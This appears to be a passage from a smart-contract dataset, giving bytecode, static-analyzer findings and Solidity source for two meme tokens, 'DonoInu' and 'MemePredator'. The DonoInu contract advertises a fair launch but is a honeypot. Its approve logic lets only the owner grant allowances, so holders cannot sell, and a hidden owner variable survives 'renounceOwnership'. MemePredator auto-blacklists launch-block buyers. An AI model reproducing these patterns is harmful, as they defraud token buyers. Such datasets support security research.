565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6287d7cc5c864d13d14d91f79760f2fbec968f01ec554d8093afaa9792f46dc64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,747 |
0xbee20c4532eccb4840d3893ee6c83d35a0699ede
|
/*
/$$$$$$$ /$$$$$$
| $$__ $$ |_ $$_/
| $$ \ $$ /$$$$$$ /$$$$$$$ /$$$$$$ | $$ /$$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$ | $$ | $$__ $$| $$ | $$
| $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$ | $$ | $$ \ $$| $$ | $$
| $$ | $$| $$ | $$| $$ | $$| $$ | $$ | $$ | $$ | $$| $$ | $$
| $$$$$$$/| $$$$$$/| $$ | $$| $$$$$$//$$$$$$| $$ | $$| $$$$$$/
|_______/ \______/ |__/ |__/ \______/|______/|__/ |__/ \______/
📣 FAIR LAUNCH 📣
🔹Liq lock + Renounce coming
🔹Donations to charity
💬Telegram: https://t.me/DonoInu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract donoinu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'DonoInu | https://t.me/DonoInu';
string private _symbol = '$DonoInu';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206bf55d9df36bf6f0718925015496d0b7077355e188e96000f9408fea19f572be64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,748 |
0xb0AFb1fDC3a20997AFc75a4D64d977433220dDf8
|
//https://t.me/EatMeme_Chat
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MemePredator is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Meme Predator";//
string private constant _symbol = "EME";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;//
uint256 private _taxFeeOnBuy = 10;//
//Sell Fee
uint256 private _redisFeeOnSell = 1;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xCDF9100d879334759d86657cbad4dD9613e55455);//
address payable private _marketingAddress = payable(0xCDF9100d879334759d86657cbad4dD9613e55455);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //
uint256 public _maxWalletSize = 30000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function SetTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
